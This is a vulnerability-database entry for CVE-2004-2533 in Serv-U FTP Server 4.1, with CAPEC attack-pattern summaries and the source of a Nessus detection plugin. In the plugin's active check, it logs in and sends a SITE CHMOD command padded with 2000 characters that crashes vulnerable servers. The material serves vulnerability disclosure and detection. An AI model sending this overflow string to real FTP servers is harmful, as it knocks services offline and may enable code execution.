Vulnerabilities > CVE-2004-2533 - Improper Input Validation vulnerability in Solarwinds Serv-U File Server 4.1.0.0

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN

Summary

Serv-U FTP Server 4.1 (possibly 4.0) allows remote attackers to cause a denial of service (application crash) via a SITE CHMOD command with a "\\...\" followed by a short string, causing partial memory corruption, a different vulnerability than CVE-2004-2111.

Vulnerable Configurations

Part Description Count
Application
Solarwinds
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Nessus

NASL familyFTP
NASL idFTP_SERVU_OVERFLOW.NASL
descriptionThe remote host is running Serv-U FTP Server. There is a bug in the way the server handles arguments to the SITE CHMOD requests that could allow an attacker to trigger a buffer overflow or corrupt memory in the server and disable it remotely or to potentially execute arbitrary code on the host. Note that successful exploitation requires access to a writable directory and will result in code running with Administrator or SYSTEM privileges by default.
last seen2020-06-01
modified2020-06-02
plugin id12037
published2004-02-02
reporterThis script is Copyright (C) 2004-2018 Astharot
sourcehttps://www.tenable.com/plugins/nessus/12037
titleServ-U SITE CHMOD Command Multiple Vulnerabilities
code
#
# Written by Astharot <[email protected]>
# 
# Changes by Tenable:
# - Revised plugin title, enhanced description (2/03/2009)
# - Modernized plugin, check for server response multiple times before finding vulnerable (6/28/2013)


include("compat.inc");

if(description)
{
 script_id(12037);
 script_version ("1.33");

 script_cve_id("CVE-2004-2111", "CVE-2004-2533");
 script_bugtraq_id(9483, 9675);
 
 script_name(english:"Serv-U SITE CHMOD Command Multiple Vulnerabilities");
	     
 script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is affected by a buffer overflow vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Serv-U FTP Server. 

There is a bug in the way the server handles arguments to the SITE
CHMOD requests that could allow an attacker to trigger a buffer 
overflow or corrupt memory in the server and disable it remotely 
or to potentially execute arbitrary code on the host. 

Note that successful exploitation requires access to a writable
directory and will result in code running with Administrator or SYSTEM
privileges by default." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2004/Jan/249" );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2004/Feb/918" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Serv-U FTP Server version 4.2 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Serv-U FTP Server Buffer Overflow');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2004/02/02");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/01/24");
 script_cvs_date("Date: 2018/11/15 20:50:22");
 script_set_attribute(attribute:"patch_publication_date", value: "2004/01/24");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"cpe",value:"cpe:/a:serv-u:serv-u");
 script_end_attributes();
 
 script_summary(english:"Serv-U Stack Overflow");
 script_category(ACT_MIXED_ATTACK);
 script_family(english:"FTP");
 
 script_copyright(english:"This script is Copyright (C) 2004-2018 Astharot");
		  
 script_dependencie("find_service1.nasl", "ftpserver_detect_type_nd_version.nasl", "ftp_anonymous.nasl");
 script_require_keys("ftp/servu");
 script_require_ports("Services/ftp", 21);

 exit(0);
}

include("misc_func.inc");
include("global_settings.inc");
include("ftp_func.inc");

port = get_ftp_port(default: 21);

banner = get_ftp_banner(port:port);
if ( ! banner ) exit(0, "Unable to grab FTP banner for server on port " + port + ".");

matches = eregmatch(
  pattern:"^.*Serv-U FTP( |-Server | Server )v[ ]*(([0-9a-z-]+\.)+[0-9a-z]+)(.*$|$)", 
  string:banner, 
  icase:TRUE
);
if(isnull(matches) || isnull(matches[2]))
  exit(0, "Remote FTP server on port " + port + " is not Serv-U FTP.");

version = matches[2];

login = get_kb_item("ftp/login");
password = get_kb_item("ftp/password");

if (!login || safe_checks()) {
  if(egrep(pattern:"Serv-U FTP[- ]Server v([0-3]|4\.[0-1])($|[^0-9])", string:banner)) {
    if(report_verbosity > 0)
   { 
     report =
     '\n  Installed Version : ' + version + 
     '\n  Fixed Version     : 4.2' +
     '\n' + 
     '\nNote that Nessus has determined the vulnerability exists on the remote' +
     '\nhost simply by looking at the software\'s banner.  To really check for' + 
     '\nthe vulnerability, disable safe_checks and re-run the scan.\n';
     security_hole(port:port, extra:report);
   }
   else security_hole(port);
   exit(0);
 }
 else exit(0, "The Serv-U FTP " +version+ " install listening on port " + port + " is not affected.");
}


if(login)
{
 soc = open_sock_tcp(port);
 if (!soc) exit(1, "Failed to open a socket on port "+port+".");
 
 to = get_read_timeout();

 if (! ftp_authenticate(socket:soc, user:login,pass:password))
   exit(1, "Could not log into the remote FTP server on port "+port+".");
 crp = crap(data:"a", length:2000);
 req = string("SITE CHMOD 0666  ", crp, "\r\n");
 send(socket:soc, data:req);
 
 vuln = TRUE;
 for (i=0; i<5; i++)
 {
   r = recv_line(socket:soc, length:4096, timeout:to);
   if(r)
   {
     vuln = FALSE;
     break;
   }
   sleep(1);
 }
 ftp_close(socket: soc);

 if(vuln)
 {
  if(report_verbosity > 0)
  {
    report =
    '\nNessus confirmed the vulnerability since it failed to receive any' +
    '\ndata from the server after 5 attempts post exploitation.\n';
    security_hole(extra:report, port:port);
  }
  else security_hole(port);
  exit(0);
 }
 else exit(0, "The Serv-U FTP " +version+ " install listening on port " + port + " is not affected.");
}
else exit(0, "No login credentials available to test vulnerability for " + 
             "FTP server on port " + port + "."); 

Saint

bid9675
descriptionServ-U FTP site chmod buffer overflow
idftp_servu
osvdb3713
titleserv_u_site_chmod
typeremote